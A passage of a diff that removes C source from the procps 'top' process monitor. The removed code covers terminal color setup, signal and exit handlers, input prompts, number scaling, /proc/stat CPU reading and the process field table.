-	tcflush(STDIN_FILENO, TCIFLUSH);
-	return rc;		/* note: we do NOT produce a vaid 'string' */
-}
-
-	/*
-	 * This routine simply formats whatever the caller wants and
-	 * returns a pointer to the resulting 'const char' string... */
-static const char *fmtmk(const char *fmts, ...)
-{
-	static char buf[BIGBUFSIZ];	/* with help stuff, our buffer */
-	va_list va;		/* requirements exceed 1k */
-
-	va_start(va, fmts);
-	vsnprintf(buf, sizeof(buf), fmts, va);
-	va_end(va);
-	return (const char *)buf;
-}
-
-	/*
-	 * This guy is just our way of avoiding the overhead of the standard
-	 * strcat function (should the caller choose to participate) */
-static inline char *scat(char *restrict dst, const char *restrict src)
-{
-	while (*dst)
-		dst++;
-	while ((*(dst++) = *(src++))) ;
-	return --dst;
-}
-
-// Trim the rc file lines and any 'open_psdb_message' result which arrives
-// with an inappropriate newline (thanks to 'sysmap_mmap')
-static char *strim_0(char *str)
-{
-	static const char ws[] = "\b\e\f\n\r\t\v\x9b";	// 0x9b is an escape
-	char *p;
-
-	if ((p = strpbrk(str, ws)))
-		*p = 0;
-	return str;
-}
-
-	/*
-	 * This guy just facilitates Batch and protects against dumb ttys
-	 * -- we'd 'inline' him but he's only called twice per frame,
-	 * yet used in many other locations. */
-static const char *tg2(int x, int y)
-{
-	return Cap_can_goto ? tgoto(cursor_address, x, y) : "";
-}
-
-/*######  Exit/Interrput routines  #######################################*/
-
-	/*
-	 * The usual program end --
-	 * called only by functions in this section. */
-static void bye_bye(int eno, const char *str) NORETURN;
-static void bye_bye(int eno, const char *str)
-{
-	if (!Batch)
-		tcsetattr(STDIN_FILENO, TCSAFLUSH, &Savedtty);
-	putp(tg2(0, Screen_rows));
-	putp(Cap_curs_norm);
-	putp("\n");
-	fflush(stdout);
-
-#ifdef ATEOJ_REPORT
-	fprintf(stderr,
-		"\nbye_bye's Summary report:"
-		"\n\tProgram"
-		"\n\t   Linux version = %u.%u.%u, %s"
-		"\n\t   Hertz = %u (%u bytes, %u-bit time)"
-		"\n\t   Page_size = %d, Cpu_tot = %d, sizeof(proc_t) = %u"
-		"\n\t   sizeof(CPU_t) = %u, sizeof(HST_t) = %u (%u HST_t's/Page)"
-		"\n\t   Crufty?  %s"
-		"\n\tTerminal: %s"
-		"\n\t   device = %s, ncurses = v%s"
-		"\n\t   max_colors = %d, max_pairs = %d"
-		"\n\t   Cap_can_goto = %s"
-		"\n\t   Screen_cols = %d, Screen_rows = %d"
-		"\n\t   Max_lines = %d, most recent Pseudo_size = %d"
-#ifndef STDOUT_IOLBF
-		"\n\t   Stdout_buf = %d, BUFSIZ = %u"
-#endif
-		"\n\tWindows and Curwin->"
-		"\n\t   sizeof(WIN_t) = %u, GROUPSMAX = %d"
-		"\n\t   rc.winname = %s, grpname = %s"
-#ifdef CASEUP_HEXES
-		"\n\t   rc.winflags = %08X, maxpflgs = %d"
-#else
-		"\n\t   rc.winflags = %08x, maxpflgs = %d"
-#endif
-		"\n\t   rc.fieldscur = %s"
-		"\n\t   winlines  = %d, rc.maxtasks = %d, maxcmdln = %d"
-		"\n\t   rc.sortindx  = %d"
-		"\n", LINUX_VERSION_MAJOR(linux_version_code)
-		, LINUX_VERSION_MINOR(linux_version_code)
-		, LINUX_VERSION_PATCH(linux_version_code)
-		, procps_version, (unsigned)Hertz, sizeof(Hertz),
-		sizeof(Hertz) * 8, Page_size, Cpu_tot, sizeof(proc_t)
-		, sizeof(CPU_t), sizeof(HST_t), Page_size / sizeof(HST_t)
-#ifdef PRETENDNOCAP
-		, "dumb"
-#else
-		, termname()
-#endif
-		, ttyname(STDOUT_FILENO), NCURSES_VERSION, max_colors,
-		max_pairs, Cap_can_goto ? "yes" : "No!", Screen_cols,
-		Screen_rows, Max_lines, Pseudo_size
-#ifndef STDOUT_IOLBF
-		, sizeof(Stdout_buf), (unsigned)BUFSIZ
-#endif
-		, sizeof(WIN_t), GROUPSMAX, Curwin->rc.winname, Curwin->grpname,
-		Curwin->rc.winflags, Curwin->maxpflgs, Curwin->rc.fieldscur,
-		Curwin->winlines, Curwin->rc.maxtasks, Curwin->maxcmdln,
-		Curwin->rc.sortindx);
-#endif
-
-	if (str) {
-		if (eno)
-			perror(str);
-		else {
-			fputs(str, stderr);
-			eno = 1;
-		}
-	}
-	exit(eno);
-}
-
-	/*
-	 * Normal end of execution.
-	 * catches:
-	 *    SIGALRM, SIGHUP, SIGINT, SIGPIPE, SIGQUIT and SIGTERM */
-static void end_pgm(int dont_care_sig) NORETURN;
-static void end_pgm(int dont_care_sig)
-{
-	(void)dont_care_sig;
-	bye_bye(0, NULL);
-}
-
-	/*
-	 * Standard error handler to normalize the look of all err o/p */
-static void std_err(const char *str) NORETURN;
-static void std_err(const char *str)
-{
-	static char buf[SMLBUFSIZ];
-
-	fflush(stdout);
-	/* we'll use our own buffer so callers can still use fmtmk() and, yes the
-	   leading tab is not the standard convention, but the standard is wrong
-	   -- OUR msg won't get lost in screen clutter, like so many others! */
-	snprintf(buf, sizeof(buf), "\t%s: %s\n", Myname, str);
-	if (!Ttychanged) {
-		fprintf(stderr, "%s\n", buf);
-		exit(1);
-	}
-	/* not to worry, he'll change our exit code to 1 due to 'buf' */
-	bye_bye(0, buf);
-}
-
-	/*
-	 * Suspend ourself.
-	 * catches:
-	 *    SIGTSTP, SIGTTIN and SIGTTOU */
-static void suspend(int dont_care_sig)
-{
-	(void)dont_care_sig;
-	/* reset terminal */
-	tcsetattr(STDIN_FILENO, TCSAFLUSH, &Savedtty);
-	putp(tg2(0, Screen_rows));
-	putp(Cap_curs_norm);
-	fflush(stdout);
-	raise(SIGSTOP);
-	/* later, after SIGCONT... */
-	if (!Batch)
-		tcsetattr(STDIN_FILENO, TCSAFLUSH, &Rawtty);
-}
-
-/*######  Misc Color/Display support  ####################################*/
-
-	/*
-	 * Make the appropriate caps/color strings and set some
-	 * lengths which are used to distinguish twix the displayed
-	 * columns and an actual printed row!
-	 * note: we avoid the use of background color so as to maximize
-	 *       compatibility with the user's xterm settings */
-static void capsmk(WIN_t * q)
-{
-	/* macro to test if a basic (non-color) capability is valid
-	   thanks: Floyd Davidson <floyd@ptialaska.net> */
-#define tIF(s)  s ? s : ""
-	static int capsdone = 0;
-
-	// we must NOT disturb our 'empty' terminfo strings!
-	if (Batch)
-		return;
-
-	// these are the unchangeable puppies, so we only do 'em once
-	if (!capsdone) {
-		strcpy(Cap_clr_eol, tIF(clr_eol));
-		strcpy(Cap_clr_eos, tIF(clr_eos));
-		strcpy(Cap_clr_scr, tIF(clear_screen));
-		strcpy(Cap_curs_huge, tIF(cursor_visible));
-		strcpy(Cap_curs_norm, tIF(cursor_normal));
-		strcpy(Cap_home, tIF(cursor_home));
-		strcpy(Cap_norm, tIF(exit_attribute_mode));
-		strcpy(Cap_reverse, tIF(enter_reverse_mode));
-		snprintf(Caps_off, sizeof(Caps_off), "%s%s", Cap_norm,
-			 tIF(orig_pair));
-		if (tgoto(cursor_address, 1, 1))
-			Cap_can_goto = 1;
-		capsdone = 1;
-	}
-	/* the key to NO run-time costs for configurable colors -- we spend a
-	   little time with the user now setting up our terminfo strings, and
-	   the job's done until he/she/it has a change-of-heart */
-	strcpy(q->cap_bold,
-	       CHKw(q, View_NOBOLD) ? Cap_norm : tIF(enter_bold_mode));
-	if (CHKw(q, Show_COLORS) && max_colors > 0) {
-		strcpy(q->capclr_sum, tparm(set_a_foreground, q->rc.summclr));
-		snprintf(q->capclr_msg, sizeof(q->capclr_msg), "%s%s",
-			 tparm(set_a_foreground, q->rc.msgsclr), Cap_reverse);
-		snprintf(q->capclr_pmt, sizeof(q->capclr_pmt), "%s%s",
-			 tparm(set_a_foreground, q->rc.msgsclr), q->cap_bold);
-		snprintf(q->capclr_hdr, sizeof(q->capclr_hdr), "%s%s",
-			 tparm(set_a_foreground, q->rc.headclr), Cap_reverse);
-		snprintf(q->capclr_rownorm, sizeof(q->capclr_rownorm), "%s%s",
-			 Caps_off, tparm(set_a_foreground, q->rc.taskclr));
-	} else {
-		q->capclr_sum[0] = '\0';
-		strcpy(q->capclr_msg, Cap_reverse);
-		strcpy(q->capclr_pmt, q->cap_bold);
-		strcpy(q->capclr_hdr, Cap_reverse);
-		strcpy(q->capclr_rownorm, Cap_norm);
-	}
-	// composite(s), so we do 'em outside and after the if
-	snprintf(q->capclr_rowhigh, sizeof(q->capclr_rowhigh), "%s%s",
-		 q->capclr_rownorm, CHKw(q,
-					 Show_HIBOLD) ? q->
-		 cap_bold : Cap_reverse);
-	q->len_rownorm = strlen(q->capclr_rownorm);
-	q->len_rowhigh = strlen(q->capclr_rowhigh);
-
-#undef tIF
-}
-
-	/*
-	 * Show an error, but not right now.
-	 * Due to the postponed opening of ksym, using open_psdb_message,
-	 * if P_WCH had been selected and the program is restarted, the
-	 * message would otherwise be displayed prematurely.
-	 * (old top handles that situation with typical inelegance) */
-static void msg_save(const char *fmts, ...)
-{
-	char tmp[SMLBUFSIZ];
-	va_list va;
-
-	va_start(va, fmts);
-	vsnprintf(tmp, sizeof(tmp), fmts, va);
-	va_end(va);
-	/* we'll add some extra attention grabbers to whatever this is */
-	snprintf(Msg_delayed, sizeof(Msg_delayed), "\a***  %s  ***",
-		 strim_0(tmp));
-	Msg_awaiting = 1;
-}
-
-	/*
-	 * Show an error message (caller may include a '\a' for sound) */
-static void show_msg(const char *str)
-{
-	PUTT("%s%s %s %s%s", tg2(0, Msg_row)
-	     , Curwin->capclr_msg, str, Caps_off, Cap_clr_eol);
-	fflush(stdout);
-	sleep(MSG_SLEEP);
-	Msg_awaiting = 0;
-}
-
-	/*
-	 * Show an input prompt + larger cursor */
-static void show_pmt(const char *str)
-{
-	PUTT("%s%s%s: %s%s", tg2(0, Msg_row)
-	     , Curwin->capclr_pmt, str, Cap_curs_huge, Caps_off);
-	fflush(stdout);
-}
-
-	/*
-	 * Show lines with specially formatted elements, but only output
-	 * what will fit within the current screen width.
-	 *    Our special formatting consists of:
-	 *       "some text <_delimiter_> some more text <_delimiter_>...\n"
-	 *    Where <_delimiter_> is a single byte in the range of:
-	 *       \01 through \10  (in decimalizee, 1 - 8)
-	 *    and is used to select an 'attribute' from a capabilities table
-	 *    which is then applied to the *preceding* substring.
-	 * Once recognized, the delimiter is replaced with a null character
-	 * and viola, we've got a substring ready to output!  Strings or
-	 * substrings without delimiters will receive the Cap_norm attribute.
-	 *
-	 * Caution:
-	 *    This routine treats all non-delimiter bytes as displayable
-	 *    data subject to our screen width marching orders.  If callers
-	 *    embed non-display data like tabs or terminfo strings in our
-	 *    glob, a line will truncate incorrectly at best.  Worse case
-	 *    would be truncation of an embedded tty escape sequence.
-	 *
-	 *    Tabs must always be avoided or our efforts are wasted and
-	 *    lines will wrap.  To lessen but not eliminate the risk of
-	 *    terminfo string truncation, such non-display stuff should
-	 *    be placed at the beginning of a "short" line.
-	 *    (and as for tabs, gimme 1 more color then no worries, mate) */
-static void show_special(int interact, const char *glob)
-{				/* note: the following is for documentation only,
-				   the real captab is now found in a group's WIN_t !
-				   +------------------------------------------------------+
-				   | char *captab[] = {                 :   Cap's/Delim's |
-				   |   Cap_norm, Cap_norm, Cap_bold,    =   \00, \01, \02 |
-				   |   Sum_color,                       =   \03           |
-				   |   Msg_color, Pmt_color,            =   \04, \05      |
-				   |   Hdr_color,                       =   \06           |
-				   |   Row_color_high,                  =   \07           |
-				   |   Row_color_norm  };               =   \10 [octal!]  |
-				   +------------------------------------------------------+ */
-	char lin[BIGBUFSIZ], row[ROWBUFSIZ], tmp[ROWBUFSIZ]
-	, *rp, *cap, *lin_end, *sub_beg, *sub_end;
-	int room;
-
-	/* handle multiple lines passed in a bunch */
-	while ((lin_end = strchr(glob, '\n'))) {
-
-		/* create a local copy we can extend and otherwise abuse */
-		memcpy(lin, glob, (unsigned)(lin_end - glob));
-		/* zero terminate this part and prepare to parse substrings */
-		lin[lin_end - glob] = '\0';
-		room = Screen_cols;
-		sub_beg = sub_end = lin;
-		*(rp = row) = '\0';
-
-		while (*sub_beg) {
-			switch (*sub_end) {
-			case 0:	/* no end delim, captab makes normal */
-				*(sub_end + 1) = '\0';	/* extend str end, then fall through */
-			case 1 ... 8:
-				cap = Curwin->captab[(int)*sub_end];
-				*sub_end = '\0';
-				snprintf(tmp, sizeof(tmp), "%s%.*s%s", cap,
-					 room, sub_beg, Caps_off);
-				rp = scat(rp, tmp);
-				room -= (sub_end - sub_beg);
-				sub_beg = ++sub_end;
-				break;
-			default:	/* nothin' special, just text */
-				++sub_end;
-			}
-			if (unlikely(0 >= room))
-				break;	/* skip substrings that won't fit */
-		}
-
-		if (interact)
-			PUTT("%s%s\n", row, Cap_clr_eol);
-		else
-			PUFF("%s%s\n", row, Cap_clr_eol);
-		glob = ++lin_end;	/* point to next line (maybe) */
-	}			/* end: while 'lines' */
-
-	/* If there's anything left in the glob (by virtue of no trailing '\n'),
-	   it probably means caller wants to retain cursor position on this final
-	   line.  That, in turn, means we're interactive and so we'll just do our
-	   'fit-to-screen' thingy... */
-	if (*glob)
-		PUTT("%.*s", Screen_cols, glob);
-}
-
-/*######  Small Utility routines  ########################################*/
-
-	/*
-	 * Get a string from the user */
-static char *ask4str(const char *prompt)
-{
-	static char buf[GETBUFSIZ];
-
-	show_pmt(prompt);
-	memset(buf, '\0', sizeof(buf));
-	chin(1, buf, sizeof(buf) - 1);
-	putp(Cap_curs_norm);
-	return strim_0(buf);
-}
-
-	/*
-	 * Get a float from the user */
-static float get_float(const char *prompt)
-{
-	char *line;
-	float f;
-
-	if (!(*(line = ask4str(prompt))))
-		return -1;
-	// note: we're not allowing negative floats
-	if (strcspn(line, ",.1234567890")) {
-		show_msg("\aNot valid");
-		return -1;
-	}
-	sscanf(line, "%f", &f);
-	return f;
-}
-
-	/*
-	 * Get an integer from the user */
-static int get_int(const char *prompt)
-{
-	char *line;
-	int n;
-
-	if (!(*(line = ask4str(prompt))))
-		return -1;
-	// note: we've got to allow negative ints (renice)
-	if (strcspn(line, "-1234567890")) {
-		show_msg("\aNot valid");
-		return -1;
-	}
-	sscanf(line, "%d", &n);
-	return n;
-}
-
-	/*
-	 * Do some scaling stuff.
-	 * We'll interpret 'num' as one of the following types and
-	 * try to format it to fit 'width'.
-	 *    SK_no (0) it's a byte count
-	 *    SK_Kb (1) it's kilobytes
-	 *    SK_Mb (2) it's megabytes
-	 *    SK_Gb (3) it's gigabytes  */
-static const char *scale_num(unsigned num, const int width, const unsigned type)
-{
-	/* kilobytes, megabytes, gigabytes, duh! */
-	static float scale[] = { 1024, 1024 * 1024, 1024 * 1024 * 1024, 0 };
-	/* kilo, mega, giga, none */
-#ifdef CASEUP_SCALE
-	static char nextup[] = { 'K', 'M', 'G', 0 };
-#else
-	static char nextup[] = { 'k', 'm', 'g', 0 };
-#endif
-	static char buf[TNYBUFSIZ];
-	float *dp;
-	char *up;
-
-	/* try an unscaled version first... */
-	if (width >= snprintf(buf, sizeof(buf), "%u", num))
-		return buf;
-
-	/* now try successively higher types until it fits */
-	for (up = nextup + type, dp = scale; *dp; ++dp, ++up) {
-		/* the most accurate version */
-		if (width >=
-		    snprintf(buf, sizeof(buf), "%.1f%c", num / *dp, *up))
-			return buf;
-		/* the integer version */
-		if (width >=
-		    snprintf(buf, sizeof(buf), "%d%c", (int)(num / *dp), *up))
-			return buf;
-	}
-	/* well shoot, this outta' fit... */
-	return "?";
-}
-
-	/*
-	 * Do some scaling stuff.
-	 * format 'tics' to fit 'width'. */
-static const char *scale_tics(TIC_t tics, const int width)
-{
-#ifdef CASEUP_SCALE
-#define HH "%uH"
-#define DD "%uD"
-#define WW "%uW"
-#else
-#define HH "%uh"
-#define DD "%ud"
-#define WW "%uw"
-#endif
-	static char buf[TNYBUFSIZ];
-	unsigned long nt;	// narrow time, for speed on 32-bit
-	unsigned cc;		// centiseconds
-	unsigned nn;		// multi-purpose whatever
-
-	nt = (tics * 100ull) / Hertz;
-	cc = nt % 100;		// centiseconds past second
-	nt /= 100;		// total seconds
-	nn = nt % 60;		// seconds past the minute
-	nt /= 60;		// total minutes
-	if (width >= snprintf(buf, sizeof(buf), "%lu:%02u.%02u", nt, nn, cc))
-		return buf;
-	if (width >= snprintf(buf, sizeof buf, "%lu:%02u", nt, nn))
-		return buf;
-	nn = nt % 60;		// minutes past the hour
-	nt /= 60;		// total hours
-	if (width >= snprintf(buf, sizeof buf, "%lu,%02u", nt, nn))
-		return buf;
-	nn = nt;		// now also hours
-	if (width >= snprintf(buf, sizeof buf, HH, nn))
-		return buf;
-	nn /= 24;		// now days
-	if (width >= snprintf(buf, sizeof buf, DD, nn))
-		return buf;
-	nn /= 7;		// now weeks
-	if (width >= snprintf(buf, sizeof buf, WW, nn))
-		return buf;
-	// well shoot, this outta' fit...
-	return "?";
-
-#undef HH
-#undef DD
-#undef WW
-}
-
-#include <pwd.h>
-
-static int selection_type;
-static uid_t selection_uid;
-
-// FIXME: this is "temporary" code we hope
-static int good_uid(const proc_t * restrict const pp)
-{
-	switch (selection_type) {
-	case 'p':
-		return 1;
-	case 0:
-		return 1;
-	case 'U':
-		if (pp->ruid == selection_uid)
-			return 1;
-		if (pp->suid == selection_uid)
-			return 1;
-		if (pp->fuid == selection_uid)
-			return 1;
-		// FALLTHROUGH
-	case 'u':
-		if (pp->euid == selection_uid)
-			return 1;
-		// FALLTHROUGH
-	default:
-		;		// don't know what it is; find bugs fast
-	}
-	return 0;
-}
-
-// swiped from ps, and ought to be in libproc
-static const char *parse_uid(const char *restrict const str,
-			     uid_t * restrict const ret)
-{
-	struct passwd *passwd_data;
-	char *endp;
-	unsigned long num;
-	static const char uidrange[] = "User ID out of range.";
-	static const char uidexist[] = "User name does not exist.";
-	num = strtoul(str, &endp, 0);
-	if (*endp != '\0') {	/* hmmm, try as login name */
-		passwd_data = getpwnam(str);
-		if (!passwd_data)
-			return uidexist;
-		num = passwd_data->pw_uid;
-	}
-	if (num > 0xfffffffeUL)
-		return uidrange;
-	*ret = num;
-	return 0;
-}
-
-/*######  Library Alternatives  ##########################################*/
-
-	/*
-	 * Handle our own memory stuff without the risk of leaving the
-	 * user's terminal in an ugly state should things go sour. */
-
-static void *alloc_c(unsigned numb) MALLOC;
-static void *alloc_c(unsigned numb)
-{
-	void *p;
-
-	if (!numb)
-		++numb;
-	if (!(p = calloc(1, numb)))
-		std_err("failed memory allocate");
-	return p;
-}
-
-static void *alloc_r(void *q, unsigned numb) MALLOC;
-static void *alloc_r(void *q, unsigned numb)
-{
-	void *p;
-
-	if (!numb)
-		++numb;
-	if (!(p = realloc(q, numb)))
-		std_err("failed memory allocate");
-	return p;
-}
-
-	/*
-	 * This guy's modeled on libproc's 'five_cpu_numbers' function except
-	 * we preserve all cpu data in our CPU_t array which is organized
-	 * as follows:
-	 *    cpus[0] thru cpus[n] == tics for each separate cpu
-	 *    cpus[Cpu_tot]        == tics from the 1st /proc/stat line */
-static CPU_t *cpus_refresh(CPU_t * cpus)
-{
-	static FILE *fp = NULL;
-	int i;
-	// enough for a /proc/stat CPU line (not the intr line)
-	char buf[SMLBUFSIZ];
-
-	/* by opening this file once, we'll avoid the hit on minor page faults
-	   (sorry Linux, but you'll have to close it for us) */
-	if (!fp) {
-		if (!(fp = fopen("/proc/stat", "r")))
-			std_err(fmtmk
-				("Failed /proc/stat open: %s",
-				 strerror(errno)));
-		/* note: we allocate one more CPU_t than Cpu_tot so that the last slot
-		   can hold tics representing the /proc/stat cpu summary (the first
-		   line read) -- that slot supports our View_CPUSUM toggle */
-		cpus = alloc_c((1 + Cpu_tot) * sizeof(CPU_t));
-	}
-	rewind(fp);
-	fflush(fp);
-
-	// first value the last slot with the cpu summary line
-	if (!fgets(buf, sizeof(buf), fp))
-		std_err("failed /proc/stat read");
-	if (4 >
-	    sscanf(buf, CPU_FMTS_JUST1, &cpus[Cpu_tot].u, &cpus[Cpu_tot].n,
-		   &cpus[Cpu_tot].s, &cpus[Cpu_tot].i, &cpus[Cpu_tot].w))
-		std_err("failed /proc/stat read");
-	// and just in case we're 2.2.xx compiled without SMP support...
-	if (1 == Cpu_tot)
-		memcpy(cpus, &cpus[1], sizeof(CPU_t));
-
-	// now value each separate cpu's tics
-	for (i = 0; 1 < Cpu_tot && i < Cpu_tot; i++) {
-#ifdef PRETEND4CPUS
-		rewind(fp);
-#endif
-		if (!fgets(buf, sizeof(buf), fp))
-			std_err("failed /proc/stat read");
-		if (4 >
-		    sscanf(buf, CPU_FMTS_MULTI, &cpus[i].u, &cpus[i].n,
-			   &cpus[i].s, &cpus[i].i, &cpus[i].w))
-			std_err("failed /proc/stat read");
-	}
-	return cpus;
-}
-
-	/*
-	 * Refresh procs *Helper* function to eliminate yet one more need
-	 * to loop through our darn proc_t table.  He's responsible for:
-	 *    1) calculating the elapsed time since the previous frame
-	 *    2) counting the number of tasks in each state (run, sleep, etc)
-	 *    3) maintaining the HST_t's and priming the proc_t pcpu field
-	 *    4) establishing the total number tasks for this frame */
-static void prochlp(proc_t * this)
-{
-	static HST_t *hist_sav = NULL;
-	static HST_t *hist_new = NULL;
-	static unsigned hist_siz = 0;	// number of structs
-	static unsigned maxt_sav;	// prior frame's max tasks
-	TIC_t tics;
-
-	if (unlikely(!this)) {
-		static struct timeval oldtimev;
-		struct timeval timev;
-		struct timezone timez;
-		HST_t *hist_tmp;
-		float et;
-
-		gettimeofday(&timev, &timez);
-		et = (timev.tv_sec - oldtimev.tv_sec)
-		    + (float)(timev.tv_usec - oldtimev.tv_usec) / 1000000.0;
-		oldtimev.tv_sec = timev.tv_sec;
-		oldtimev.tv_usec = timev.tv_usec;
-
-		// if in Solaris mode, adjust our scaling for all cpus
-		Frame_tscale =
-		    100.0f / ((float)Hertz * (float)et *
-			      (Rc.mode_irixps ? 1 : Cpu_tot));
-		maxt_sav = Frame_maxtask;
-		Frame_maxtask = Frame_running = Frame_sleepin = Frame_stopped =
-		    Frame_zombied = 0;
-
-		// reuse memory each time around
-		hist_tmp = hist_sav;
-		hist_sav = hist_new;
-		hist_new = hist_tmp;
-		// prep for our binary search by sorting the last frame's HST_t's
-		qsort(hist_sav, maxt_sav, sizeof(HST_t), (QFP_t) sort_HST_t);
-		return;
-	}
-
-	switch (this->state) {
-	case 'R':
-		Frame_running++;
-		break;
-	case 'S':
-	case 'D':
-		Frame_sleepin++;
-		break;
-	case 'T':
-		Frame_stopped++;
-		break;
-	case 'Z':
-		Frame_zombied++;
-		break;
-	}
-
-	if (unlikely(Frame_maxtask + 1 >= hist_siz)) {
-		hist_siz = hist_siz * 5 / 4 + 100;	// grow by at least 25%
-		hist_sav = alloc_r(hist_sav, sizeof(HST_t) * hist_siz);
-		hist_new = alloc_r(hist_new, sizeof(HST_t) * hist_siz);
-	}
-	/* calculate time in this process; the sum of user time (utime) and
-	   system time (stime) -- but PLEASE dont waste time and effort on
-	   calcs and saves that go unused, like the old top! */
-	hist_new[Frame_maxtask].pid = this->pid;
-	hist_new[Frame_maxtask].tics = tics = (this->utime + this->stime);
-
-#if 0
-	{
-		int i;
-		int lo = 0;
-		int hi = maxt_sav - 1;
-
-		// find matching entry from previous frame and make ticks elapsed
-		while (lo <= hi) {
-			i = (lo + hi) / 2;
-			if (this->pid < hist_sav[i].pid)
-				hi = i - 1;
-			else if (likely(this->pid > hist_sav[i].pid))
-				lo = i + 1;
-			else {
-				tics -= hist_sav[i].tics;
-				break;
-			}
-		}
-	}
-#else
-	{
-		HST_t tmp;
-		const HST_t *ptr;
-		tmp.pid = this->pid;
-		ptr = bsearch(&tmp, hist_sav, maxt_sav, sizeof tmp, sort_HST_t);
-		if (ptr)
-			tics -= ptr->tics;
-	}
-#endif
-
-	// we're just saving elapsed tics, to be converted into %cpu if
-	// this task wins it's displayable screen row lottery... */
-	this->pcpu = tics;
-// if (Frames_maxcmdln) { }
-	// shout this to the world with the final call (or us the next time in)
-	Frame_maxtask++;
-}
-
-	/*
-	 * This guy's modeled on libproc's 'readproctab' function except
-	 * we reuse and extend any prior proc_t's.  He's been customized
-	 * for our specific needs and to avoid the use of <stdarg.h> */
-static proc_t **procs_refresh(proc_t ** table, int flags)
-{
-#define PTRsz  sizeof(proc_t *)
-#define ENTsz  sizeof(proc_t)
-	static unsigned savmax = 0;	// first time, Bypass: (i)
-	proc_t *ptsk = (proc_t *) - 1;	// first time, Force: (ii)
-	unsigned curmax = 0;	// every time  (jeeze)
-	PROCTAB *PT;
-
-	prochlp(NULL);		// prep for a new frame
-	if (Monpidsidx)
-		PT = openproc(PROC_FILLBUG | PROC_PID, Monpids);
-	else
-		PT = openproc(flags);
-
-	// i) Allocated Chunks:  *Existing* table;  refresh + reuse
-	while (curmax < savmax) {
-		if (table[curmax]->cmdline) {
-			free(*table[curmax]->cmdline);
-			table[curmax]->cmdline = NULL;
-		}
-		if (unlikely(!(ptsk = readproc(PT, table[curmax]))))
-			break;
-		prochlp(ptsk);	// tally & complete this proc_t
-		++curmax;
-	}
-
-	// ii) Unallocated Chunks:  *New* or *Existing* table;  extend + fill
-	while (ptsk) {
-		// realloc as we go, keeping 'table' ahead of 'currmax++'
-		table = alloc_r(table, (curmax + 1) * PTRsz);
-		// here, readproc will allocate the underlying proc_t stg
-		if (likely(ptsk = readproc(PT, NULL))) {
-			prochlp(ptsk);	// tally & complete this proc_t
-			table[curmax++] = ptsk;
-		}
-	}
-	closeproc(PT);
-
-	// iii) Chunkless:  make 'eot' entry, after ensuring proc_t exists
-	if (curmax >= savmax) {
-		table = alloc_r(table, (curmax + 1) * PTRsz);
-		// here, we must allocate the underlying proc_t stg ourselves
-		table[curmax] = alloc_c(ENTsz);
-		savmax = curmax + 1;
-	}
-	// this frame's end, but not necessarily end of allocated space
-	table[curmax]->pid = -1;
-	return table;
-
-#undef PTRsz
-#undef ENTsz
-}
-
-/*######  Field Table/RCfile compatability support  ######################*/
-
-	/* These are the Fieldstab.lflg values used here and in reframewins.
-	   (own identifiers as documentation and protection against changes) */
-#define L_stat     PROC_FILLSTAT
-#define L_statm    PROC_FILLMEM
-#define L_status   PROC_FILLSTATUS
-#define L_CMDLINE  L_stat   | PROC_FILLARG
-#define L_EUSER    PROC_FILLUSR
-#define L_RUSER    L_status | PROC_FILLUSR
-#define L_GROUP    L_status | PROC_FILLGRP
-#define L_NONE     0
-   // from either 'stat' or 'status' (preferred), via bits not otherwise used
-#define L_EITHER   PROC_SPARE_1
-   // for reframewins and summary_show 1st pass
-#define L_DEFAULT  PROC_FILLSTAT
-
-   // a temporary macro, soon to be undef'd...
-#define SF(f) (QFP_t)sort_P_ ## f
-
-	/* These are our gosh darn 'Fields' !
-	   They MUST be kept in sync with pflags !!
-	   note: for integer data, the length modifiers found in .fmts may
-	   NOT reflect the true field type found in proc_t -- this plus
-	   a cast when/if displayed provides minimal width protection. */
-static FLD_t Fieldstab[] = {
-/* .lflg anomolies:
-      P_UID, L_NONE  - natural outgrowth of 'stat()' in readproc        (euid)
-      P_CPU, L_stat  - never filled by libproc, but requires times      (pcpu)
-      P_CMD, L_stat  - may yet require L_CMDLINE in reframewins  (cmd/cmdline)
-      L_EITHER       - must L_status, else 64-bit math, __udivdi3 on 32-bit !
-      keys   head           fmts     width   scale  sort   desc                     lflg
-     ------  -----------    -------  ------  -----  -----  ----------------------   -------- */
-	{"AaAa", "  PID ", "%5u ", -1, -1, SF(PID), "Process Id", L_NONE},
-	{"BbBb", " PPID ", "%5u ", -1, -1, SF(PPD), "Parent Process Pid",
-	 L_EITHER},
-	{"CcQq", "RUSER    ", "%-8.8s ", -1, -1, SF(URR), "Real user name",
-	 L_RUSER},
-	{"DdCc", " UID ", "%4u ", -1, -1, SF(UID), "User Id", L_NONE},
-	{"EeDd", "USER     ", "%-8.8s ", -1, -1, SF(URE), "User Name", L_EUSER},
-	{"FfNn", "GROUP    ", "%-8.8s ", -1, -1, SF(GRP), "Group Name",
-	 L_GROUP},
-	{"GgGg", "TTY      ", "%-8.8s ", 8, -1, SF(TTY), "Controlling Tty",
-	 L_stat},
-	{"HhHh", " PR ", "%3d ", -1, -1, SF(PRI), "Priority", L_stat},
-	{"IiIi", " NI ", "%3d ", -1, -1, SF(NCE), "Nice value", L_stat},
-	{"JjYy", "#C ", "%2u ", -1, -1, SF(CPN), "Last used cpu (SMP)", L_stat},
-	{"KkEe", "%CPU ", "%#4.1f ", -1, -1, SF(CPU), "CPU usage", L_stat},
-	{"LlWw", "  TIME ", "%6.6s ", 6, -1, SF(TME), "CPU Time", L_stat},
-	{"MmRr", "   TIME+  ", "%9.9s ", 9, -1, SF(TME), "CPU Time, hundredths",
-	 L_stat},
-	{"NnFf", "%MEM ", "%#4.1f ", -1, -1, SF(RES), "Memory usage (RES)",
-	 L_statm},
-	{"OoMm", " VIRT ", "%5.5s ", 5, SK_Kb, SF(VRT), "Virtual Image (kb)",
-	 L_statm},
-	{"PpOo", "SWAP ", "%4.4s ", 4, SK_Kb, SF(SWP), "Swapped size (kb)",
-	 L_statm},
-	{"QqTt", " RES ", "%4.4s ", 4, SK_Kb, SF(RES), "Resident size (kb)",
-	 L_statm},
-	{"RrKk", "CODE ", "%4.4s ", 4, SK_Kb, SF(COD), "Code size (kb)",
-	 L_statm},
-	{"SsLl", "DATA ", "%4.4s ", 4, SK_Kb, SF(DAT), "Data+Stack size (kb)",
-	 L_statm},
-	{"TtPp", " SHR ", "%4.4s ", 4, SK_Kb, SF(SHR), "Shared Mem size (kb)",
-	 L_statm},
-	{"UuJj", "nFLT ", "%4.4s ", 4, SK_no, SF(FLT), "Page Fault count",
-	 L_stat},
-	{"VvSs", "nDRT ", "%4.4s ", 4, SK_no, SF(DRT), "Dirty Pages count",
-	 L_statm},
-#ifdef USE_LIB_STA3
-	{"WwVv", "STA ", "%3.3s ", -1, -1, SF(STA), "Process Status", L_stat},
-#else
